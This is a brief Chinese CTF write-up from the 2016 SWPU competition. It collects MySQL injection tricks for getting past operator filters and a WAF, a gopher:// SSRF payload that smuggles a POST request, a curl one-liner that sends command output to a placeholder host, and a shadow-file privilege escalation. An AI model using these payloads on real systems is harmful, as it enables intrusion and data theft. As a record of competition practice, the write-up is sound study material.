2016 swpu-ctf 小记

前几天有在做swpu-ctf,记录下这次有用上的一些姿势

MySQL过滤逻辑运算符后如何拼接

1
2
3
4
5
6
7
8
9
-
select password from user where user='root'-1; //无返回
select password from user where user='root'-0; //返回
+ //和-效果一样
/
select password from user where user='root'/1; //返回
select password from user where user='root'/0; //无返回
% //和/效果一样

MySQL带入``的一个特性

平时在``放入字符,MySQL会去查找这个列,要是不存在这个列的话会出错。但绕过80sec的waf就需要带入`\’`

1
2
3
select password from user where user='root' and `test`.``.user or 1;
//这里的`test`.``.user,test为任意内容,user要是当前查询表中存在的列名
select password from user where user='root' and user or 1; //跟上面的语句效果一样

利用gopher在ssrf中发送POST请求

1
gopher://127.0.0.1:80/APOST%20/%20HTTP/1.1%0D%0AUser-Agent%3A%20curl/7.38.0%0D%0AHost%3A%20127.0.0.1%0D%0AAccept%3A%20%2A/%2A%0D%0AContent-Length%3A%2013%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0A%0D%0Apostdata%3Dtest

除了gopher有的/A就是一个正常http的POST包

无回显的命令执行

1
curl${IFS}http://ip/?a=`ls|xargs|sed${IFS}s/[[:space:]]/:/g`

看log文件的记录就行,或者监听端口也行

其它

那个tomcat的提权,看别人的writeup都是用的最近一个洞来提权的。我发现它那里tomcat用户是shadow文件的所有者,我就直接覆盖掉之前root的密码再切用户完成提权了,应该就跟用passwd命令来改密码一个效果。不会像用脏牛漏洞时覆盖passwd文件里的root那样导致系统好多的服务出问题,从而死机。后面脏牛的POC貌似是改写具有s权限的文件来提权的,不过试了本地两台虚拟机还是会死机- -